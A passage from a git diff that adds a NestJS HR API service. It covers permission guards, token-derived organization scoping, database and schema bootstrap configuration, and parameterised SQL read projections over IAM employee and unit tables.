"workspace:*", + "@nestjs/cli": "^11.0.0", + "@nestjs/schematics": "^11.0.0", + "@nestjs/testing": "^11.0.0", + "@types/express": "^5.0.0", + "@types/jest": "^29.5.13", + "@types/node": "^20.14.0", + "@types/pg": "^8.6.7", + "jest": "^29.7.0", + "ts-jest": "^29.2.5", + "ts-node": "^10.9.2", + "tsconfig-paths": "^4.2.0", + "typescript": "^5.5.4" + }, + "jest": { + "moduleFileExtensions": [ + "js", + "json", + "ts" + ], + "rootDir": "src", + "testRegex": ".*\\.spec\\.ts$", + "transform": { + "^.+\\.(t|j)s$": "ts-jest" + }, + "collectCoverageFrom": [ + "**/*.(t|j)s" + ], + "coverageDirectory": "../coverage", + "testEnvironment": "node" + } +} diff --git a/apps/edr-hr-api/src/app.module.ts b/apps/edr-hr-api/src/app.module.ts new file mode 100644 index 000000000..fcf5600ab --- /dev/null +++ b/apps/edr-hr-api/src/app.module.ts @@ -0,0 +1,113 @@ +import { Module } from "@nestjs/common"; +import { ConfigModule, ConfigService } from "@nestjs/config"; +import { TypeOrmModule, TypeOrmModuleOptions } from "@nestjs/typeorm"; +import { DataSource, DataSourceOptions } from "typeorm"; +import { SharedAuthModule } from "@tria-plc/api-common/modules/auth/shared-auth.module"; +import { IamModule } from "@tria-plc/iamapi-common/iam.module"; + +import databaseConfig from "./config/database.config"; +import { + APPLICATION_SEARCH_PATH, + ensurePostgresSchemas, +} from "./config/ensure-postgres-schemas"; +import { IamDirectoryModule } from "./iam-directory/iam-directory.module"; +import { EmployeesModule } from "./modules/employees/employees.module"; +import { MeModule } from "./modules/me/me.module"; +import { OrgExplorerModule } from "./modules/org-explorer/org-explorer.module"; +import { LeaveModule } from "./modules/leave/leave.module"; +import { AttendanceModule } from "./modules/attendance/attendance.module"; +import { PayrollModule } from "./modules/payroll/payroll.module"; +import { RecruitmentModule } from "./modules/recruitment/recruitment.module"; +import { AppraisalModule } from "./modules/appraisal/appraisal.module"; +import { ReportsModule } from "./modules/reports/reports.module"; +import { + HR_APPLICATION, + HR_PERMISSIONS, + HR_ROLES, + HR_ROLE_PERMISSIONS, +} from "./seed/hr-permissions.registry"; +import { JobTitlesModule } from "./modules/job-titles/job-titles.module"; +import { JobPositionsModule } from "./modules/job-positions/job-positions.module"; +import { UnitHrProfilesModule } from "./modules/unit-hr-profiles/unit-hr-profiles.module"; + +@Module({ + imports: [ + ConfigModule.forRoot({ isGlobal: true, load: [databaseConfig] }), + TypeOrmModule.forRootAsync({ + inject: [ConfigService], + useFactory: (config: ConfigService): TypeOrmModuleOptions => + config.get("database")!, + dataSourceFactory: async (options) => { + if (!options) throw new Error("Missing TypeORM DataSource options"); + + await ensurePostgresSchemas(options as DataSourceOptions); + const dataSource = new DataSource(options as DataSourceOptions); + await dataSource.initialize(); + + // The database sits behind a connection pooler that rejects the Postgres + // `options` startup parameter (08P01), so search_path is set per physical + // connection: the pg Pool emits `connect` for every new client (initial + // fill, growth, reconnect). Without it, IamDirectoryService's schema- + // qualified reads still work, but IAM's own unqualified SQL would not. + const pool = (dataSource.driver as { master?: unknown }).master as + | { on?: (event: string, cb: (client: unknown) => void) => void } + | undefined; + if (pool?.on) { + pool.on("connect", (client) => { + (client as { query: (sql: string) => Promise }) + .query(`SET search_path TO ${APPLICATION_SEARCH_PATH}`) + .catch(() => { + /* connection is validated on its first real query */ + }); + }); + } + + return dataSource; + }, + }), + + // Authentication is IAM's, unchanged: SharedAuthModule provides JwtGuard, + // which validates the session against `iam.sessions` directly (schema- + // qualified SQL, verified). HR issues no tokens and stores no credentials. + SharedAuthModule, + + // IAM, embedded — the platform pattern: every service takes the IAM package + // as a dependency, declares its own application + permissions, and IAM gates + // each action by the caller's position. Same shape as edr-passenger-api and + // edr-freight-api. + // + // This also brings IAM's own controllers (/units, /positions, /employees, + // /employee-positions, …) onto this app, which is intended: HR is a second + // front end to IAM's capabilities, not a fork of them. + // + // In-process matters for the hire flow specifically: creating an IAM user, + // an employee, an employee-position and an HR profile is ONE transaction + // here. Over HTTP it could not be, and a partial failure would strand an IAM + // user with no HR profile. + // + // Requires the entity globs in config/database.config.ts and + // `autoLoadEntities: false` — the partial forFeature set is what previously + // broke boot with `Entity metadata for User#sessions was not found`. + IamModule.forRoot({ + applications: [HR_APPLICATION], + permissions: HR_PERMISSIONS, + roles: HR_ROLES, + rolePermissions: HR_ROLE_PERMISSIONS, + }), + + IamDirectoryModule, + MeModule, + OrgExplorerModule, + JobTitlesModule, + JobPositionsModule, + UnitHrProfilesModule, + EmployeesModule, + LeaveModule, + AttendanceModule, + PayrollModule, + RecruitmentModule, + AppraisalModule, + ReportsModule, + ], +}) +export class AppModule {} diff --git a/apps/edr-hr-api/src/common/current-actor.util.ts b/apps/edr-hr-api/src/common/current-actor.util.ts new file mode 100644 index 000000000..a6fe6fcc7 --- /dev/null +++ b/apps/edr-hr-api/src/common/current-actor.util.ts @@ -0,0 +1,42 @@ +import { ForbiddenException } from "@nestjs/common"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { + currentEmployeeId, + isSuperAdmin, + type MeLikeUser, +} from "./hr-permission.util"; +import type { ActorContext } from "../modules/employees/employees.service"; + +/** + * The one place a request's actor is derived from the token. + * + * `organizationId` comes from the token's employee block, never from the request + * body or a query parameter — it is the row-scoping key for every HR read and + * write, so letting a client supply it would be a tenancy hole. + */ +export function actorFrom(user: TCurrentUser): ActorContext { + const me = user as unknown as MeLikeUser; + const employee = me.employee; + const organizationId = Array.isArray(employee) + ? employee[0]?.organizationId + : employee?.organizationId; + + const superAdmin = isSuperAdmin(me); + + // A super admin reads across organizations, so a missing employee record is + // not disqualifying for them. Everyone else must have one: it is the scoping + // key for every HR read and write. + if (!organizationId && !superAdmin) { + throw new ForbiddenException( + "This account has no organization context — HR requires a staff account", + ); + } + + return { + employeeId: currentEmployeeId(me), + userId: me.id ?? "", + organizationId: organizationId ?? "", + isSuperAdmin: superAdmin, + }; +} diff --git a/apps/edr-hr-api/src/common/hr-guards.ts b/apps/edr-hr-api/src/common/hr-guards.ts new file mode 100644 index 000000000..9b4a32b71 --- /dev/null +++ b/apps/edr-hr-api/src/common/hr-guards.ts @@ -0,0 +1,20 @@ +import { applyDecorators, UseGuards } from "@nestjs/common"; +import { JwtGuard } from "@tria-plc/api-common/modules/auth/services/jwt.guard"; + +import { HrPermissionGuard } from "./hr-permission.guard"; + +/** + * The single route decorator for this app: authenticate, then require one of the + * given HR permission keys. + * + * Self-service routes (an employee reading their own profile) still go through + * it — they carry `can:view_own:*`, and the ownership check itself lives in the + * service, never in the guard. + */ +export const HrStaff = (permission: string | string[]) => + applyDecorators( + UseGuards( + JwtGuard, + HrPermissionGuard(Array.isArray(permission) ? permission : [permission]), + ), + ); diff --git a/apps/edr-hr-api/src/common/hr-permission.guard.ts b/apps/edr-hr-api/src/common/hr-permission.guard.ts new file mode 100644 index 000000000..aa15a58dd --- /dev/null +++ b/apps/edr-hr-api/src/common/hr-permission.guard.ts @@ -0,0 +1,57 @@ +import { + CanActivate, + ExecutionContext, + ForbiddenException, + Injectable, + Type, + UnauthorizedException, +} from "@nestjs/common"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { hasHrPermission, isSuperAdmin } from "./hr-permission.util"; + +// String literals on purpose, matching freight's guard: these are wire-format +// values of `iam.users.user_type`, and importing the vendored enum would couple +// this file to the package's internal layout for no gain. +const EMPLOYEE_USER_TYPE = "employee"; + +const userTypeOf = (user: TCurrentUser): string | undefined => + (user as { userType?: string }).userType; + +/** HR is staff-only end to end. A missing userType (stale session) also fails. */ +const isEmployee = (user: TCurrentUser): boolean => + userTypeOf(user) === EMPLOYEE_USER_TYPE || isSuperAdmin(user); + +/** + * Guard factory. Passing several keys means "any one of these" — used on the + * class gate, which must list every key its routes use: Nest runs class AND + * method guards, so a key missing from the class list denies before the route's + * own key is ever evaluated. + */ +export function HrPermissionGuard(permissions: string[]): Type { + @Injectable() + class HrPermissionsGuard implements CanActivate { + canActivate(context: ExecutionContext): boolean { + const request = context + .switchToHttp() + .getRequest<{ user?: TCurrentUser }>(); + const user = request.user; + + if (!user) { + throw new UnauthorizedException("Authentication required"); + } + if (!isEmployee(user)) { + throw new ForbiddenException("Staff account required"); + } + + if (!permissions?.length) return true; + if (permissions.some((p) => hasHrPermission(user, p))) return true; + + throw new ForbiddenException( + `Missing permission. Required one of: ${permissions.join(", ")}`, + ); + } + } + + return HrPermissionsGuard; +} diff --git a/apps/edr-hr-api/src/common/hr-permission.util.ts b/apps/edr-hr-api/src/common/hr-permission.util.ts new file mode 100644 index 000000000..b470bb236 --- /dev/null +++ b/apps/edr-hr-api/src/common/hr-permission.util.ts @@ -0,0 +1,108 @@ +import { ForbiddenException } from "@nestjs/common"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +const SUPER_ADMIN_ROLE = "super_admin"; +const ORGANIZATION_ADMIN_ROLE = "organization_admin"; + +type PermissionLike = { key?: string }; +type PositionLike = { permissions?: PermissionLike[] }; + +/** + * The two token shapes IAM issues. `employee` is an object on a session token + * (`TCurrentUser`) and an array on the raw payload (`TCurrentTokenUser`); both + * reach controllers depending on how the session was minted, so every reader has + * to handle both. Mirrors freight's `collectPermissionKeys`. + */ +export type MeLikeUser = { + id?: string; + roles?: { key?: string }[]; + permissions?: PermissionLike[]; + employee?: + | { + id?: string; + organizationId?: string; + position?: PositionLike; + delegatedPositions?: PositionLike[]; + } + | { id?: string; organizationId?: string; positions?: PositionLike[] }[] + | null; +}; + +export function isSuperAdmin(user: MeLikeUser | null | undefined): boolean { + return Boolean(user?.roles?.some((r) => r.key === SUPER_ADMIN_ROLE)); +} + +export function isOrganizationAdmin( + user: MeLikeUser | null | undefined, +): boolean { + return Boolean(user?.roles?.some((r) => r.key === ORGANIZATION_ADMIN_ROLE)); +} + +/** Flat permission keys from roles and every position the token carries. */ +export function collectPermissionKeys( + user: MeLikeUser | null | undefined, +): string[] { + if (!user) return []; + + const keys = new Set(); + for (const p of user.permissions ?? []) { + if (p.key) keys.add(p.key); + } + + const employee = user.employee; + if (!employee) return [...keys]; + + if (Array.isArray(employee)) { + for (const emp of employee) { + for (const pos of emp.positions ?? []) { + for (const p of pos.permissions ?? []) { + if (p.key) keys.add(p.key); + } + } + } + return [...keys]; + } + + for (const p of employee.position?.permissions ?? []) { + if (p.key) keys.add(p.key); + } + for (const delegated of employee.delegatedPositions ?? []) { + for (const p of delegated.permissions ?? []) { + if (p.key) keys.add(p.key); + } + } + return [...keys]; +} + +export function hasHrPermission( + user: MeLikeUser | null | undefined, + permissionKey: string, +): boolean { + if (!user) return false; + if (isSuperAdmin(user)) return true; + return collectPermissionKeys(user).includes(permissionKey); +} + +export function assertHrPermission( + user: TCurrentUser | MeLikeUser | null | undefined, + permissionKey: string, +): void { + if (hasHrPermission(user, permissionKey)) return; + throw new ForbiddenException(`Missing permission: ${permissionKey}`); +} + +/** + * The caller's `iam.employees.id` — the value HR profiles hang off. + * + * Returns null for a token with no employee (a customer/portal account, or a + * super admin who is not staff). Self-service routes treat null as "no own + * record", never as "unrestricted". + */ +export function currentEmployeeId( + user: MeLikeUser | null | undefined, +): string | null { + const employee = user?.employee; + if (!employee) return null; + if (Array.isArray(employee)) return employee[0]?.id ?? null; + return employee.id ?? null; +} diff --git a/apps/edr-hr-api/src/common/pagination.dto.ts b/apps/edr-hr-api/src/common/pagination.dto.ts new file mode 100644 index 000000000..22c7c9da3 --- /dev/null +++ b/apps/edr-hr-api/src/common/pagination.dto.ts @@ -0,0 +1,54 @@ +import { ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { IsIn, IsInt, IsOptional, IsString, Max, Min } from "class-validator"; + +/** Envelope every list endpoint returns, so the frontend table is one component. */ +export type Paginated = { + items: T[]; + total: number; + page: number; + limit: number; + pageCount: number; +}; + +export class PaginationQueryDto { + @ApiPropertyOptional({ default: 1, minimum: 1 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(1) + page?: number = 1; + + @ApiPropertyOptional({ default: 25, minimum: 1, maximum: 200 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(1) + @Max(200) + limit?: number = 25; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + sortBy?: string; + + @ApiPropertyOptional({ enum: ["ASC", "DESC"], default: "DESC" }) + @IsOptional() + @IsIn(["ASC", "DESC"]) + sortOrder?: "ASC" | "DESC" = "DESC"; +} + +export function paginate( + items: T[], + total: number, + page: number, + limit: number, +): Paginated { + return { + items, + total, + page, + limit, + pageCount: limit > 0 ? Math.ceil(total / limit) : 0, + }; +} diff --git a/apps/edr-hr-api/src/config/database.config.ts b/apps/edr-hr-api/src/config/database.config.ts new file mode 100644 index 000000000..dc6eeb6d2 --- /dev/null +++ b/apps/edr-hr-api/src/config/database.config.ts @@ -0,0 +1,109 @@ +import { dirname } from "path"; + +import { registerAs } from "@nestjs/config"; +import { TypeOrmModuleOptions } from "@nestjs/typeorm"; +import { DataSourceOptions } from "typeorm"; + +/** + * HR migrations are recorded in `hr.migrations`, alongside `iam.typeorm_migrations` + * and `freight.migrations` in the same database. Each app owns exactly one history + * table; HR never writes the IAM one. + */ +export const HR_MIGRATIONS = { + schema: "hr", + table: "migrations", +} as const; + +/** + * IAM entity registration. + * + * `IamModule` is embedded in this app (the platform pattern: every service takes + * the IAM package as a dependency and IAM gates each action by the caller's + * position), so its entities must be on this DataSource. + * + * Registered as GLOBS over the two package dists rather than as a hand-written + * class list. freight-api lists ~50 classes by hand and its own CLAUDE.md flags + * every package bump as a candidate to break it; globs cannot go stale. + * + * BOTH dists are required. Some IAM entities relate to notification entities + * that physically live in `@tria-plc/api-common` — the IAM barrel only + * re-exports them — so registering only the IAM dist throws + * `Entity metadata for User#sessions was not found` at boot. This is copied from + * `apps/edr-passenger-api/src/common/iam-typeorm.config.ts`, which documents the + * same failure. + */ +function resolvePackageDist(pkg: string): string { + // Node honours each package's `exports` map at runtime even though TypeScript's + // resolution does not, so require.resolve on the barrel lands in dist/. + return dirname(require.resolve(pkg)).replace(/\\/g, "/"); +} + +const IAM_ENTITY_GLOBS = [ + `${resolvePackageDist("@tria-plc/iamapi-common")}/entities/**/*.entity.{ts,js}`, + `${resolvePackageDist("@tria-plc/api-common")}/entities/**/*.entity.{ts,js}`, +]; + +function buildConnectionOptions() { + return { + type: "postgres" as const, + host: process.env.DB_HOST ?? "localhost", + port: parseInt(process.env.DB_PORT ?? "5432", 10), + username: process.env.DB_USER ?? "edr", + password: process.env.DB_PASSWORD ?? "edr_secret", + database: process.env.DB_NAME ?? "edr_database", + // Do NOT pass `extra.options: '-c search_path=...'` — the connection pooler + // fronting the dev database rejects the Postgres `options` startup parameter + // with `08P01`. search_path is applied per physical connection in a pool + // `connect` handler instead (see app.module.ts). + synchronize: false, + logging: + process.env.TYPEORM_LOGGING === "true" + ? true + : (["error", "warn"] as DataSourceOptions["logging"]), + }; +} + +/** + * Runtime options for the API. Carries no migrations — see `migration:run`. + * + * One connection serves both schemas: HR entities are `@Entity({schema:"hr"})` + * and IAM's are `schema:"iam"`, so they cannot collide. `autoLoadEntities` is + * OFF because everything is listed explicitly here — leaving it on lets + * IamModule's `forFeature` registrations add a PARTIAL entity set, which is the + * exact configuration that failed at boot. + */ +export function buildDataSourceOptions(): DataSourceOptions { + return { + ...buildConnectionOptions(), + schema: HR_MIGRATIONS.schema, + entities: [__dirname + "/../**/*.entity.{ts,js}", ...IAM_ENTITY_GLOBS], + migrations: [], + }; +} + +/** + * HR migrations only, recorded in `hr.migrations`. + * + * Deliberately no entities: this DataSource exists to run HR's own DDL. HR never + * migrates the `iam` schema — that belongs to the IAM owner. + */ +export function buildHrMigrationDataSourceOptions(): DataSourceOptions { + return { + ...buildConnectionOptions(), + schema: HR_MIGRATIONS.schema, + entities: [], + migrations: [__dirname + "/../migrations/*.js"], + migrationsTableName: HR_MIGRATIONS.table, + migrationsTransactionMode: "each", + }; +} + +export default registerAs( + "database", + (): TypeOrmModuleOptions => ({ + ...buildDataSourceOptions(), + autoLoadEntities: false, + // Migrations run as a separate one-shot step, never on API boot (house rule). + migrationsRun: false, + }), +); diff --git a/apps/edr-hr-api/src/config/ensure-postgres-schemas.ts b/apps/edr-hr-api/src/config/ensure-postgres-schemas.ts new file mode 100644 index 000000000..cb86850ed --- /dev/null +++ b/apps/edr-hr-api/src/config/ensure-postgres-schemas.ts @@ -0,0 +1,62 @@ +import { DataSource, DataSourceOptions } from "typeorm"; + +/** + * Schemas this app touches. `hr` is the only one it owns and migrates; `iam` is + * read-only (owned by edr-freight-api's migrations) and is listed so the search + * path resolves unqualified IAM lookups, and so a brand-new database is usable + * before freight has ever booted against it. + */ +export const APPLICATION_SCHEMAS = ["public", "iam", "hr", "audit"] as const; + +export const APPLICATION_SEARCH_PATH = APPLICATION_SCHEMAS.join(","); + +/** + * Extensions the migrations call into but never create themselves — the HR + * baseline defaults primary keys to `gen_random_uuid()`. + */ +export const APPLICATION_EXTENSIONS = ["uuid-ossp", "pgcrypto"] as const; + +/** + * TypeORM creates the migrations table before any migration runs, so the schema + * that table lives in has to exist first. Mirrors + * `apps/edr-freight-api/src/config/ensure-postgres-schemas.ts` — deliberately, so + * the two apps cannot disagree about how the shared database is prepared. + */ +export async function ensurePostgresSchemas( + options: DataSourceOptions, +): Promise { + const bootstrap = new DataSource({ + ...options, + entities: [], + migrations: [], + migrationsRun: false, + synchronize: false, + }); + + await bootstrap.initialize(); + + for (const schema of APPLICATION_SCHEMAS) { + if (schema === "public") { + await bootstrap.query(`CREATE SCHEMA IF NOT EXISTS public`); + await bootstrap.query(`GRANT ALL ON SCHEMA public TO public`); + } else { + await bootstrap.query(`CREATE SCHEMA IF NOT EXISTS "${schema}"`); + await bootstrap.query(`GRANT USAGE ON SCHEMA "${schema}" TO public`); + await bootstrap.query(`GRANT CREATE ON SCHEMA "${schema}" TO public`); + } + } + + // Best effort: creating an extension needs rights the app user may not have. + // On an established database they are already installed and this is a no-op. + for (const extension of APPLICATION_EXTENSIONS) { + try { + await bootstrap.query(`CREATE EXTENSION IF NOT EXISTS "${extension}"`); + } catch (err) { + console.warn( + `could not ensure extension "${extension}": ${(err as Error).message}`, + ); + } + } + + await bootstrap.destroy(); +} diff --git a/apps/edr-hr-api/src/data-source.ts b/apps/edr-hr-api/src/data-source.ts new file mode 100644 index 000000000..721aa8440 --- /dev/null +++ b/apps/edr-hr-api/src/data-source.ts @@ -0,0 +1,8 @@ +import "dotenv/config"; +import { DataSource } from "typeorm"; +import { buildHrMigrationDataSourceOptions } from "./config/database.config"; + +/** Standalone DataSource for the TypeORM CLI and the migrate script. */ +export const AppDataSource = new DataSource(buildHrMigrationDataSourceOptions()); + +export default AppDataSource; diff --git a/apps/edr-hr-api/src/iam-directory/iam-directory.module.ts b/apps/edr-hr-api/src/iam-directory/iam-directory.module.ts new file mode 100644 index 000000000..cee06e153 --- /dev/null +++ b/apps/edr-hr-api/src/iam-directory/iam-directory.module.ts @@ -0,0 +1,16 @@ +import { Global, Module } from "@nestjs/common"; + +import { IamDirectoryService } from "./iam-directory.service"; +import { IamOperationsService } from "./iam-operations.service"; + +/** + * Global because every HR feature module needs to resolve an employee, and + * routing that through per-module imports would spread knowledge of IAM across + * the app — the opposite of what this module exists for. + */ +@Global() +@Module({ + providers: [IamDirectoryService, IamOperationsService], + exports: [IamDirectoryService, IamOperationsService], +}) +export class IamDirectoryModule {} diff --git a/apps/edr-hr-api/src/iam-directory/iam-directory.service.ts b/apps/edr-hr-api/src/iam-directory/iam-directory.service.ts new file mode 100644 index 000000000..7ec20c699 --- /dev/null +++ b/apps/edr-hr-api/src/iam-directory/iam-directory.service.ts @@ -0,0 +1,686 @@ +import { Injectable, NotFoundException } from "@nestjs/common"; +import { InjectDataSource } from "@nestjs/typeorm"; +import { DataSource } from "typeorm"; + +/** `iam.employees` as HR reads it. Never written by this app. */ +export type IamEmployee = { + id: string; + name: { am: string; en: string } | null; + status: string; + isCurrent: boolean; + unitId: string | null; + organizationId: string | null; + userId: string | null; + username: string | null; + email: string | null; + phoneNumber: string | null; + /** + * When IAM first recorded this employee — the auto-provision hire-date proxy. + * `Date`, not string: node-postgres hydrates timestamptz into a Date object. + */ + createdAt: Date | string | null; +}; + +/** One row of the employee directory — IAM identity plus HR onboarding state. */ +export type DirectoryRow = { + employeeId: string; + name: { am: string; en: string } | null; + unitId: string | null; + organizationId: string | null; + username: string | null; + email: string | null; + profileId: string | null; + employeeNumber: string | null; + employmentState: string | null; + employmentType: string | null; + hireDate: string | null; + isOnboarded: boolean; +}; + +export type IamUnit = { + id: string; + name: { am: string; en: string } | null; + key: string; + parentUnitId: string | null; + organizationId: string; +}; + +/** A unit as the org explorer draws it: IAM facts + counts + the HR overlay. */ +export type UnitTreeNode = { + id: string; + name: { am: string; en: string } | null; + key: string; + parentUnitId: string | null; + organizationId: string; + organizationName: { am: string; en: string } | null; + employeeCount: number; + positionCount: number; + hrProfileId: string | null; + costCentreCode: string | null; + headcountBudget: number | null; + headEmployeeId: string | null; + isHrActive: boolean | null; +}; + +/** Someone currently holding a position — substantively or by delegation. */ +export type PositionHolder = { + employeePositionId: string; + employeeId: string; + name: { am: string; en: string } | null; + username: string | null; + isDelegate: boolean; + status: string; + startDate: string | null; + endDate: string | null; + delegatorId: string | null; + delegatorName: { am: string; en: string } | null; + isOnboarded: boolean; + profileId: string | null; + employeeNumber: string | null; +}; + +/** One node of the position hierarchy, flat with a depth marker. */ +export type PositionTreeRow = { + id: string; + name: { am: string; en: string } | null; + key: string; + rank: number; + parentPositionId: string | null; + unitId: string | null; + unitName: { am: string; en: string } | null; + depth: number; + holderCount: number; + jobPositionId: string | null; + budgetedCount: number | null; + isOpen: boolean | null; +}; + +/** A position as the unit detail panel shows it. */ +export type UnitPositionRow = { + id: string; + name: { am: string; en: string } | null; + key: string; + rank: number; + parentPositionId: string | null; + holderCount: number; + jobPositionId: string | null; + budgetedCount: number | null; + isOpen: boolean | null; +}; + +export type IamPosition = { + id: string; + name: { am: string; en: string } | null; + key: string; + rank: number; + parentPositionId: string | null; + unitId: string; + organizationId: string; +}; + +/** + * The ONLY place in this app that knows where IAM lives or what its tables are + * called. + * + * READ PROJECTIONS ONLY — and no longer the only way HR touches IAM. + * + * IamModule is now embedded in this app, so IAM's entities and services are + * available in-process. The division is deliberate: + * + * WRITES → IAM's own services, through IamModule. They run IAM's validation, + * hooks, notifications and audit. HR must never insert into `iam.*` + * itself; doing so would fork the behaviour one silent row at a time. + * READS → these hand-written projections, where a list needs three columns + * from two tables. Hydrating IAM's entity graph per row to render a + * table is wasteful, and the batched lookups below exist to keep + * list endpoints at one query per page instead of one per row. + * + * Use IAM's repositories directly when you need a whole IAM aggregate; use this + * when you need a projection. + * + * SOFT DELETES: `iam.units`, `iam.positions` and `iam.organizations` extend + * `SoftDeleteAudit`, so every query here filters `deleted_at IS NULL` — without + * it HR would list units IAM considers deleted. `iam.employees` and `iam.users` + * extend plain `Audit` and have no such column; do NOT add the predicate there. + * + * History worth keeping: those columns were absent from this database until + * 2026-08-20 (a dump predating the package's `1785530375522-IAMUpdate`), which + * made every IAM query against them 500 and briefly forced these filters out. + * `pnpm repair:iam-schema` restores them. If you see + * `column X.deleted_at does not exist`, the environment is drifted — run it. + * + * Every write path in HR stores IAM ids as plain UUIDs with no foreign key — the + * platform's soft-reference stance. That means nothing at the database level + * stops HR from pointing at an employee that no longer exists, so callers that + * accept an IAM id from a client MUST validate it here first. + */ +@Injectable() +export class IamDirectoryService { + constructor(@InjectDataSource() private readonly dataSource: DataSource) {} + + private static readonly EMPLOYEE_SELECT = ` + SELECT e.id, + e.name, + e.status, + e.is_current AS "isCurrent", + e.unit_id AS "unitId", + e.organization_id AS "organizationId", + e.user_id AS "userId", + u.username, + u.email, + u.phone_number AS "phoneNumber", + e.created_at AS "createdAt" + FROM iam.employees e + LEFT JOIN iam.users u ON u.id = e.user_id`; + + async findEmployee(employeeId: string): Promise { + const rows = await this.dataSource.query( + `${IamDirectoryService.EMPLOYEE_SELECT} WHERE e.id = $1 LIMIT 1`, + [employeeId], + ); + return rows[0] ?? null; + } + + /** + * Validating variant for request handling: a client-supplied employee id that + * does not resolve is a 404, not a dangling row written into `hr`. + */ + async requireEmployee(employeeId: string): Promise { + const employee = await this.findEmployee(employeeId); + if (!employee) { + throw new NotFoundException( + `No IAM employee ${employeeId}. Create the employee in IAM before giving them an HR profile.`, + ); + } + return employee; + } + + /** Batch lookup for list endpoints — one query per page, never one per row. */ + async findEmployees(employeeIds: string[]): Promise> { + if (!employeeIds.length) return new Map(); + const rows = await this.dataSource.query( + `${IamDirectoryService.EMPLOYEE_SELECT} WHERE e.id = ANY($1::uuid[])`, + [employeeIds], + ); + return new Map(rows.map((row) => [row.id, row])); + } + + /** + * Employees matching a free-text term, for pickers. Searches both locales of + * the jsonb name plus username/email, and returns only current employees. + */ + async searchEmployees(term: string, limit = 20): Promise { + return this.dataSource.query( + `${IamDirectoryService.EMPLOYEE_SELECT} + WHERE e.is_current = true + AND ( + e.name->>'en' ILIKE $1 + OR e.name->>'am' ILIKE $1 + OR u.username ILIKE $1 + OR u.email ILIKE $1 + ) + ORDER BY e.name->>'en' + LIMIT $2`, + [`%${term}%`, limit], + ); + } + + /** + * Current employees attached to any of the given units. Backs the department + * filter on the employee list: HR does not store the unit (IAM owns it), so a + * unit filter is resolved here and intersected with the HR page. + */ + async findEmployeesByUnits(unitIds: string[]): Promise { + if (!unitIds.length) return []; + return this.dataSource.query( + `${IamDirectoryService.EMPLOYEE_SELECT} + WHERE e.unit_id = ANY($1::uuid[])`, + [unitIds], + ); + } + + /** + * The employee DIRECTORY: every IAM employee, left-joined to their HR profile. + * + * This is the list HR actually needs. Querying `hr.employee_profiles` alone + * shows only people somebody has already onboarded — on this database that + * was 0 rows against 2,431 real employees, with no way to see or reach the + * rest. Driving from `iam.employees` instead makes everyone visible and marks + * who is onboarded, which is also what makes auto-provisioning possible: you + * cannot lazily create a profile for someone you cannot find. + * + * Scoping joins IAM rather than reading a copied `organization_id` from `hr` — + * the organization is IAM's fact and is deliberately not duplicated. + */ + async findEmployeeDirectoryPage(filters: { + organizationId?: string | null; + search?: string; + unitIds?: string[] | null; + onboarded?: boolean; + employmentState?: string; + limit: number; + offset: number; + }): Promise<{ items: DirectoryRow[]; total: number }> { + const where: string[] = ["e.is_current = true"]; + const params: unknown[] = []; + + if (filters.organizationId) { + params.push(filters.organizationId); + where.push(`e.organization_id = $${params.length}`); + } + if (filters.unitIds) { + if (!filters.unitIds.length) return { items: [], total: 0 }; + params.push(filters.unitIds); + where.push(`e.unit_id = ANY($${params.length}::uuid[])`); + } + if (filters.search) { + params.push(`%${filters.search}%`); + const p = `$${params.length}`; + where.push( + `(e.name->>'en' ILIKE ${p} OR e.name->>'am' ILIKE ${p} ` + + `OR u.username ILIKE ${p} OR u.email ILIKE ${p} ` + + `OR p.employee_number ILIKE ${p})`, + ); + } + if (filters.onboarded === true) where.push("p.id IS NOT NULL"); + if (filters.onboarded === false) where.push("p.id IS NULL"); + if (filters.employmentState) { + params.push(filters.employmentState); + where.push(`p.employment_state = $${params.length}`); + } + + const from = ` + FROM iam.employees e + LEFT JOIN iam.users u ON u.id = e.user_id + LEFT JOIN hr.employee_profiles p + ON p.employee_id = e.id AND p.deleted_at IS NULL + WHERE ${where.join(" AND ")}`; + + const [count] = await this.dataSource.query<{ total: string }[]>( + `SELECT count(*)::text AS total ${from}`, + params, + ); + + const items = await this.dataSource.query( + `SELECT e.id AS "employeeId", + e.name AS "name", + e.unit_id AS "unitId", + e.organization_id AS "organizationId", + u.username, u.email, + p.id AS "profileId", + p.employee_number AS "employeeNumber", + p.employment_state AS "employmentState", + p.employment_type AS "employmentType", + -- ::text on purpose. node-postgres hydrates a date column into a + -- Date at UTC midnight, which renders as the PREVIOUS day in any + -- timezone behind UTC -- Ethiopia is UTC+3, so 2026-05-16 came + -- back as 2026-05-15T21:00Z. Keep it a plain YYYY-MM-DD string, + -- matching what the TypeORM-mapped profile returns. + p.hire_date::text AS "hireDate", + (p.id IS NOT NULL) AS "isOnboarded" + ${from} + ORDER BY (p.id IS NOT NULL) DESC, e.name->>'en' ASC + LIMIT ${filters.limit} OFFSET ${filters.offset}`, + params, + ); + + return { items, total: parseInt(count?.total ?? "0", 10) }; + } + + /** + * The whole unit tree for an organization, with the counts each node needs. + * + * One recursive query rather than a request per node: the tree is rendered + * whole, and 35 units × (staff count + position count) as separate round + * trips would be 70 queries to draw one screen. + * + * Counts come from IAM (staff, positions); the HR overlay is joined on so a + * node can show its cost centre and headcount budget without a second pass. + */ + async findUnitTree(organizationId: string | null): Promise { + const params: unknown[] = []; + let scope = ""; + if (organizationId) { + params.push(organizationId); + scope = `WHERE u.organization_id = $${params.length}`; + } + + return this.dataSource.query( + `SELECT u.id, + u.name, + u.key, + u.parent_unit_id AS "parentUnitId", + u.organization_id AS "organizationId", + o.name AS "organizationName", + (SELECT count(*)::int FROM iam.employees e + WHERE e.unit_id = u.id AND e.is_current = true) AS "employeeCount", + (SELECT count(*)::int FROM iam.positions p + WHERE p.unit_id = u.id AND p.deleted_at IS NULL) AS "positionCount", + hp.id AS "hrProfileId", + hp.cost_centre_code AS "costCentreCode", + hp.headcount_budget AS "headcountBudget", + hp.head_employee_id AS "headEmployeeId", + hp.is_hr_active AS "isHrActive" + FROM iam.units u + LEFT JOIN iam.organizations o ON o.id = u.organization_id + LEFT JOIN hr.unit_hr_profiles hp + ON hp.unit_id = u.id AND hp.deleted_at IS NULL + ${scope} + ORDER BY u.name->>'en' ASC`, + params, + 